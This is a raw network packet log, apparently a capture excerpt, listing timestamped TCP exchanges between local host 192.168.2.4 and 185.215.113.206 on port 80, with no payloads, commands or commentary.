Nov 12, 2024 15:41:20.658215046 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.658224106 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.658224106 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.658245087 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.658266068 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.658346891 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.658374071 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.658386946 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.658410072 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.658428907 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.658435106 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.658438921 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.658459902 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.658468962 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.658474922 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.658489943 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.658499956 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.658516884 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.658534050 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.658554077 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.658580065 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.658591986 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.658611059 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.658612013 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.658653021 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.658668995 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.658679008 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.658689976 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.658689022 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.658689976 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.658720970 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.658807993 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.658818960 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.658829927 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.658842087 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.658844948 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.658857107 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.658865929 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.658866882 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.658879042 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.658895016 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.658895016 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.658907890 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.658909082 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.658968925 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.658997059 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.659008980 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.659027100 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.659041882 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.659125090 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.659135103 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.659143925 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.659153938 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.659164906 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.659168959 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.659193993 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.659194946 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.659194946 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.659204006 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.659213066 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.659235001 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.659250021 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.692425013 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.692445040 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.692454100 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.692464113 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.692497969 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.692502975 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.692514896 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.692534924 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.692543030 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.692553043 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.692580938 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.692605019 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.692615986 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.692625046 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.692635059 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.692642927 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.692643881 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.692665100 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.692665100 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.692668915 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.692679882 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.692693949 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.692708969 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.692718029 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.692724943 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.692737103 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.692745924 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.692756891 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.692765951 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.692766905 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.692786932 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.692805052 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.692899942 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.692910910 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.692919016 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.692931890 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.692931890 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.692945004 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.692950964 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.692950964 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.692955017 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.692965984 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.692970991 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.692975998 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.692977905 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.692986012 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.693001986 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.693027020 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.693027020 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.693038940 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.693048954 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.693058968 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.693059921 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.693069935 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.693079948 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.693082094 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.693092108 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.693109035 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.693109989 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.693109989 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.693131924 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.693133116 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.693142891 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.693146944 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.693173885 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.693173885 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.693173885 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.693186045 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.693196058 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.693207979 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.693216085 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.693234921 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.693249941 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.693279982 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.693315029 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.693324089 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.693332911 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.693352938 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.693353891 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.693367004 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.693372965 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.693377972 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.693381071 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.693387985 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.693397999 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.693403006 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.693407059 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.693416119 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.693424940 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.693428040 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.693434000 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.693449020 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.693453074 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.693455935 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.693490982 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.693608046 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.693646908 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.693660975 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.693670034 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.693681955 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.693685055 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.693696022 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.693701982 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.693711996 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.693738937 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.693758011 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.693768024 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.693783045 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.693790913 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.693794966 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.693806887 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.693814993 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.693834066 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.771722078 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.771756887 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.771761894 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.771785021 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.771790028 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.771914959 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.771943092 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.771958113 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.771976948 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.771990061 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.771998882 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.772000074 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772010088 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.772011995 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772036076 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772036076 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.772048950 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772058010 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.772058964 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772072077 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772080898 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.772088051 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772100925 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772110939 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772111893 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.772119045 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.772125006 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772135973 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772145987 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772147894 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.772162914 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772171974 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.772178888 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.772192955 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772205114 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772211075 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.772217989 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772218943 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.772231102 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772243977 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.772250891 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.772259951 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.772288084 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772299051 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772310019 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772320986 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772330999 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.772331953 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772347927 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772353888 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.772368908 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.772383928 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772388935 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.772397041 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772408009 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772418976 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.772425890 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.772442102 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.772572041 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772641897 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772653103 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772680044 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.772702932 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.772725105 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772736073 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772753954 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772766113 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.772767067 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772793055 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.772806883 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772814989 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.772835970 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772851944 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772866964 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772876024 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.772878885 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772895098 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.772906065 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.772913933 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772924900 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772933960 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772953987 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772954941 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.772954941 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.772968054 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.772989035 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.773008108 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.773010015 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.773041010 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.773044109 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.773057938 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.773091078 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.773096085 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.773102045 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.773139954 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.773181915 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.773192883 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.773210049 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.773217916 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.773221970 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.773241997 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.773257971 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.773279905 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.773351908 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.773377895 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.773391962 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.773411036 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.773431063 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.773442030 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.773468971 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.773477077 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.773514032 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.773525953 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.773536921 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.773549080 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.773556948 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.773560047 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.773569107 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.773581982 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.773592949 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.773596048 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.773622036 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.773658991 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.773689985 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.773729086 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.773747921 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.773761034 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.773772955 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.773794889 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.773819923 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.773843050 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.773854017 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.773863077 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.773874998 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.773884058 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.773915052 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.773945093 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.773956060 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.773966074 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.773972988 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.773977041 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.773989916 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774002075 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.774004936 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774028063 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.774043083 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.774053097 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774065971 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774079084 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774087906 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.774095058 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.774116993 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.774183035 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774197102 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774205923 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774216890 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.774228096 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.774250031 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.774280071 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774311066 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.774342060 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774377108 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774386883 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774396896 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.774416924 CET	49751	80	192.168.2.4	185.215.113.206
